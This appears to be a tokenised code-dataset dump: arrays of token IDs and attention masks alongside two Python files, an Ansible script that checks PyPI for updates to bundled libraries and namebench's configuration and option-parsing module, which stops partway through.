6128,
21,
83,
370,
3354,
900,
14,
272,
2581,
63,
515,
275,
747,
14,
515,
14,
904,
8,
589,
14,
1506,
63,
694,
12,
1987,
571,
63,
344,
63,
1637,
358,
272,
2581,
12,
2581,
63,
8180,
275,
1586,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
9,
272,
340,
1249,
14,
3990,
26,
267,
2581,
63,
8180,
275,
488,
339,
3792,
275,
3555,
63,
3771,
8,
589,
14,
1506,
63,
694,
9,
272,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
275,
4526,
63,
515,
63,
475,
63,
571,
63,
344,
63,
1130,
8,
513,
8,
3771,
395,
267,
2581,
12,
2581,
63,
8180,
9,
339,
327,
710,
2581,
3509,
24214,
1145,
13,
1580,
14,
272,
2218,
63,
571,
63,
344,
63,
1637,
8,
1637,
63,
515,
12,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
9,
339,
367,
931,
12,
1145,
63,
344,
315,
931,
63,
475,
63,
571,
63,
344,
63,
1130,
14,
1744,
837,
267,
9593,
275,
747,
14,
515,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
mgit-at/ansible
|
hacking/update_bundled.py
|
37
|
1309
|
#!/usr/bin/env python
import glob
import json
import os.path
from distutils.version import LooseVersion
from ansible.module_utils.urls import open_url
basedir = os.path.dirname(__file__)
for filename in glob.glob(os.path.join(basedir, '../lib/ansible/compat/*/__init__.py')):
if 'compat/tests' in filename:
# compat/tests doesn't bundle any code
continue
filename = os.path.normpath(filename)
with open(filename, 'r') as module:
for line in module:
if line.strip().startswith('_BUNDLED_METADATA'):
data = line[line.index('{'):].strip()
break
else:
print('WARNING: {0} contained no metadata. Could not check for updates'.format(filename))
continue
metadata = json.loads(data)
pypi_fh = open_url('https://pypi.org/pypi/{0}/json'.format(metadata['pypi_name']))
pypi_data = json.loads(pypi_fh.read().decode('utf-8'))
if LooseVersion(metadata['version']) < LooseVersion(pypi_data['info']['version']):
print('UPDATE: {0} from {1} to {2} {3}'.format(
metadata['pypi_name'],
metadata['version'],
pypi_data['info']['version'],
'https://pypi.org/pypi/{0}/json'.format(metadata['pypi_name'])))
|
gpl-3.0
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
5739,
199,
646,
2022,
199,
646,
747,
14,
515,
199,
504,
7065,
14,
1023,
492,
18462,
199,
199,
504,
3242,
14,
578,
63,
1208,
14,
3603,
492,
1551,
63,
633,
199,
199,
12484,
275,
747,
14,
515,
14,
3475,
3460,
493,
3368,
199,
199,
509,
1788,
315,
5739,
14,
6463,
8,
736,
14,
515,
14,
904,
8,
12484,
12,
20644,
773,
15,
4853,
15,
5819,
6331,
22128,
826,
4343,
647,
8109,
272,
340,
283,
5819,
15,
2219,
7,
315,
1788,
26,
267,
327,
8434,
15,
2219,
3181,
1133,
8844,
1263,
1233,
267,
1980,
339,
1788,
275,
747,
14,
515,
14,
9267,
8,
1501,
9,
272,
543,
1551,
8,
1501,
12,
283,
82,
358,
465,
859,
26,
267,
367,
1004,
315,
859,
26,
288,
340,
1004,
14,
1913,
1252,
2460,
6412,
32044,
5290,
63,
8314,
735,
355,
666,
275,
1004,
59,
604,
14,
1080,
11117,
735,
1055,
1913,
342,
355,
2059,
267,
587,
26,
288,
870,
360,
9171,
26,
469,
16,
93,
10470,
949,
3341,
14,
221,
18615,
440,
1104,
367,
7029,
1370,
908,
8,
1501,
430,
288,
1980,
267,
3341,
275,
2022,
14,
3640,
8,
576,
9,
267,
1134,
1038,
63,
12853,
275,
1551,
63,
633,
360,
2859,
921,
17343,
14,
1308,
15,
17343,
5321,
16,
5995,
1001,
1370,
908,
8,
2343,
459,
17343,
63,
354,
5156,
267,
1134,
1038,
63,
576,
275,
2022,
14,
3640,
8,
17343,
63,
12853,
14,
739,
1252,
2708,
360,
1624,
13,
24,
1333,
267,
340,
18462,
8,
2343,
459,
1023,
1105,
665,
18462,
8,
17343,
63,
576,
459,
815,
2545,
1023,
9090,
288,
870,
360,
10383,
26,
469,
16,
93,
687,
469,
17,
93,
370,
469,
18,
93,
469,
19,
5285,
908,
8,
355,
3341,
459,
17343,
63,
354,
995,
355,
3341,
459,
1023,
995,
355,
1134,
1038,
63,
576,
459,
815,
2545,
1023,
995,
355,
283,
2859,
921,
17343,
14,
1308,
15,
17343,
5321,
16,
5995,
1001,
1370,
908,
8,
2343,
459,
17343,
63,
354,
26991,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
5739,
199,
646,
2022,
199,
646,
747,
14,
515,
199,
504,
7065,
14,
1023,
492,
18462,
199,
199,
504,
3242,
14,
578,
63,
1208,
14,
3603,
492,
1551,
63,
633,
199,
199,
12484,
275,
747,
14,
515,
14,
3475,
3460,
493,
3368,
199,
199,
509,
1788,
315,
5739,
14,
6463,
8,
736,
14,
515,
14,
904,
8,
12484,
12,
20644,
773,
15,
4853,
15,
5819,
6331,
22128,
826,
4343,
647,
8109,
272,
340,
283,
5819,
15,
2219,
7,
315,
1788,
26,
267,
327,
8434,
15,
2219,
3181,
1133,
8844,
1263,
1233,
267,
1980,
339,
1788,
275,
747,
14,
515,
14,
9267,
8,
1501,
9,
272,
543,
1551,
8,
1501,
12,
283,
82,
358,
465,
859,
26,
267,
367,
1004,
315,
859,
26,
288,
340,
1004,
14,
1913,
1252,
2460,
6412,
32044,
5290,
63,
8314,
735,
355,
666,
275,
1004,
59,
604,
14,
1080,
11117,
735,
1055,
1913,
342,
355,
2059,
267,
587,
26,
288,
870,
360,
9171,
26,
469,
16,
93,
10470,
949,
3341,
14,
221,
18615,
440,
1104,
367,
7029,
1370,
908,
8,
1501,
430,
288,
1980,
267,
3341,
275,
2022,
14,
3640,
8,
576,
9,
267,
1134,
1038,
63,
12853,
275,
1551,
63,
633,
360,
2859,
921,
17343,
14,
1308,
15,
17343,
5321,
16,
5995,
1001,
1370,
908,
8,
2343,
459,
17343,
63,
354,
5156,
267,
1134,
1038,
63,
576,
275,
2022,
14,
3640,
8,
17343,
63,
12853,
14,
739,
1252,
2708,
360,
1624,
13,
24,
1333,
267,
340,
18462,
8,
2343,
459,
1023,
1105,
665,
18462,
8,
17343,
63,
576,
459,
815,
2545,
1023,
9090,
288,
870,
360,
10383,
26,
469,
16,
93,
687,
469,
17,
93,
370,
469,
18,
93,
469,
19,
5285,
908,
8,
355,
3341,
459,
17343,
63,
354,
995,
355,
3341,
459,
1023,
995,
355,
1134,
1038,
63,
576,
459,
815,
2545,
1023,
995,
355,
283,
2859,
921,
17343,
14,
1308,
15,
17343,
5321,
16,
5995,
1001,
1370,
908,
8,
2343,
459,
17343,
63,
354,
26991,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
isoriss123/namebench
|
libnamebench/config.py
|
173
|
11391
|
#!/usr/bin/env python
# Copyright 2009 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Define and process configuration from command-line or config file."""
__author__ = 'tstromberg@google.com (Thomas Stromberg)'
import ConfigParser
import csv
import optparse
import os.path
import re
import StringIO
import tempfile
import nb_third_party
# from third_party
import httplib2
import addr_util
import data_sources
import nameserver
import nameserver_list
import sys_nameservers
import util
import version
TRUNK_URL = 'http://namebench.googlecode.com/svn/trunk/'
SETS_TO_TAGS_MAP = {
'system': ['system', 'dhcp'],
'global': ['global', 'preferred'],
'preferred': ['preferred'],
'nearby': ['nearby', 'dhcp', 'internal'],
'all': ['global', 'nearby', 'country', 'system', 'dhcp', 'internal', 'network', 'preferred', 'isp', 'likely-isp'],
'regional': ['internal', 'country', 'nearby', 'network', 'isp', 'likely-isp'],
'isp': ['isp', 'dhcp', 'internal', 'likely-isp'],
'network': ['network', 'internal', 'dhcp'],
}
def ExpandSetsToTags(set_names):
tags = set()
for set_name in set_names:
tags.update(set(SETS_TO_TAGS_MAP.get(set_name, [set_name])))
return tags
def GetMergedConfiguration():
"""Get all of our configuration setup."""
options = ParseCommandLineArguments()
return MergeConfigurationFileOptions(options)
def ParseCommandLineArguments(default_config_file='config/namebench.cfg'):
"""Get our option configuration setup.
Args:
default_config_file: path to configuration (may be relative)
Returns:
stuple of (OptionParser object, args)
"""
ds = data_sources.DataSources()
import_types = ds.ListSourceTypes()
parser = optparse.OptionParser()
parser.add_option('-6', '--ipv6_only', dest='ipv6_only', action='store_true', help='Only include IPv6 name servers')
parser.add_option('-4', '--ipv4_only', dest='ipv4_only', action='store_true', help='Only include IPv4 name servers')
parser.add_option('-b', '--censorship-checks', dest='enable_censorship_checks', action='store_true', help='Enable censorship checks')
parser.add_option('-c', '--country', dest='country', default=None, help='Set country (overrides GeoIP)')
parser.add_option('-H', '--skip-health-checks', dest='skip_health_checks', action='store_true', default=False, help='Skip health checks')
parser.add_option('-G', '--hide_results', dest='hide_results', action='store_true', help='Upload results, but keep them hidden from indexes.')
parser.add_option('-i', '--input', dest='input_source', help=('Import hostnames from an filename or application (%s)' % ', '.join(import_types)))
parser.add_option('-I', '--ips', dest='servers', default=[], help='A list of ips to test (can also be passed as arguments)')
parser.add_option('-j', '--health_threads', dest='health_thread_count', type='int', help='# of health check threads to use')
parser.add_option('-J', '--benchmark_threads', dest='benchmark_thread_count', type='int', help='# of benchmark threads to use')
parser.add_option('-k', '--distance_km', dest='distance', default=1250, help='Distance in km for determining if server is nearby')
parser.add_option('-K', '--overload_distance_km', dest='overload_distance', default=250, help='Like -k, but used if the country already has >350 servers.')
parser.add_option('-m', '--select_mode', dest='select_mode', default='automatic', help='Selection algorithm to use (weighted, random, chunk)')
parser.add_option('-M', '--max_servers_to_check', dest='max_servers_to_check', default=350, help='Maximum number of servers to inspect')
parser.add_option('-n', '--num_servers', dest='num_servers', type='int', help='Number of nameservers to include in test')
parser.add_option('-o', '--output', dest='output_file', default=None, help='Filename to write output to')
parser.add_option('-O', '--csv_output', dest='csv_file', default=None, help='Filename to write query details to (CSV)')
parser.add_option('-p', '--psn') # Silly Mac OS X adding -psn_0_xxxx
parser.add_option('-P', '--ping_timeout', dest='ping_timeout', type='float', help='# of seconds ping requests timeout in.')
parser.add_option('-q', '--query_count', dest='query_count', type='int', help='Number of queries per run.')
parser.add_option('-r', '--runs', dest='run_count', default=1, type='int', help='Number of test runs to perform on each nameserver.')
parser.add_option('-s', '--sets', dest='server_sets', default=[], help='Comma-separated list of sets to test (%s)' % SETS_TO_TAGS_MAP.keys())
parser.add_option('-T', '--template', dest='template', default='html', help='Template to use for output generation (ascii, html, resolv.conf)')
parser.add_option('-U', '--site_url', dest='site_url', help='URL to upload results to (http://namebench.appspot.com/)')
parser.add_option('-u', '--upload_results', dest='upload_results', action='store_true', help='Upload anonymized results to SITE_URL (False)')
parser.add_option('-V', '--invalidate_cache', dest='invalidate_cache', action='store_true', help='Force health cache to be invalidated')
parser.add_option('-w', '--open_webbrowser', dest='open_webbrowser', action='store_true', help='Opens the final report in your browser')
parser.add_option('-x', '--no_gui', dest='no_gui', action='store_true', help='Disable GUI')
parser.add_option('-Y', '--health_timeout', dest='health_timeout', type='float', help='health check timeout (in seconds)')
parser.add_option('-y', '--timeout', dest='timeout', type='float', help='# of seconds general requests timeout in.')
parser.add_option('-z', '--config', dest='config', default=default_config_file, help='Config file to use.')
options, args = parser.parse_args()
if options.server_sets:
if ',' in options.server_sets:
sets = options.server_sets.split(',')
else:
sets = [options.server_sets,]
options.tags = ExpandSetsToTags(sets)
else:
options.tags = set()
if args:
options.servers.extend(addr_util.ExtractIPsFromString(' '.join(args)))
options.tags.add('specified')
return options
def GetNameServerData(filename='config/servers.csv'):
server_file = util.FindDataFile(filename)
ns_data = _ParseNameServerListing(open(server_file))
# Add the system servers for later reference.
for i, ip in enumerate(sys_nameservers.GetCurrentNameServers()):
ns = nameserver.NameServer(ip, name='SYS%s-%s' % (i, ip), system_position=i)
ns_data.append(ns)
for i, ip in enumerate(sys_nameservers.GetAssignedNameServers()):
ns = nameserver.NameServer(ip, name='DHCP%s-%s' % (i, ip), dhcp_position=i)
ns_data.append(ns)
return ns_data
def _ParseNameServerListing(fp):
fields = ['ip', 'tags', 'provider', 'instance', 'hostname', 'location',
'coords', 'asn', 'list_note', 'urls']
reader = csv.DictReader(fp, fieldnames=fields)
ns_data = nameserver_list.NameServers()
for row in reader:
if row['instance']:
name = "%s (%s)" % (row['provider'], row['instance'])
else:
name = row['provider']
if row['coords']:
lat, lon = row['coords'].split(',')
else:
lat = lon = None
as_match = re.match('AS(\d+)(.*)', row['asn'])
if as_match:
asn, network_owner = as_match.groups()
network_owner = network_owner.lstrip(' ').rstrip(' ')
else:
asn = network_owner = None
ns_data.append(nameserver.NameServer(
row['ip'],
name=name,
tags=row['tags'].split(),
provider=row['provider'],
instance=row['instance'],
location=row['location'],
latitude=lat,
longitude=lon,
asn=asn,
hostname=row['hostname'],
network_owner=network_owner
))
return ns_data
def GetSanityChecks():
return GetAutoUpdatingConfigFile('config/sanity_checks.cfg')
def _GetLocalConfig(conf_file):
"""Read a simple local config file."""
local_config = _ReadConfigFile(conf_file)
return _ExpandConfigSections(local_config)
def _ReadConfigFile(conf_file):
"""Read a local config file."""
ref_file = util.FindDataFile(conf_file)
local_config = ConfigParser.ConfigParser()
local_config.read(ref_file)
return local_config
def GetAutoUpdatingConfigFile(conf_file):
"""Get the latest copy of the config file"""
local_config = _ReadConfigFile(conf_file)
download_latest = int(local_config.get('config', 'download_latest'))
local_version = int(local_config.get('config', 'version'))
if download_latest == 0:
return _ExpandConfigSections(local_config)
h = httplib2.Http(tempfile.gettempdir(), timeout=10)
url = '%s/%s' % (TRUNK_URL, conf_file)
content = None
try:
_, content = h.request(url, 'GET')
remote_config = ConfigParser.ConfigParser()
except:
print '* Unable to fetch remote %s: %s' % (conf_file, util.GetLastExceptionString())
return _ExpandConfigSections(local_config)
if content and '[config]' in content:
fp = StringIO.StringIO(content)
try:
remote_config.readfp(fp)
except:
print '* Unable to read remote %s: %s' % (conf_file, util.GetLastExceptionString())
return _ExpandConfigSections(local_config)
if remote_config and remote_config.has_section('config') and int(remote_config.get('config', 'version')) > local_version:
print '- Using %s' % url
return _ExpandConfigSections(remote_config)
else:
return _ExpandConfigSections(local_config)
def _ExpandConfigSections(config):
return dict([ (y, config.items(y)) for y in config.sections() if y != 'config' ])
def MergeConfigurationFileOptions(options):
"""Process configuration file, merge configuration with OptionParser.
Args:
options: optparse.OptionParser() object
Returns:
options: optparse.OptionParser() object
Raises:
ValueError: If we are unable to find a usable configuration file.
"""
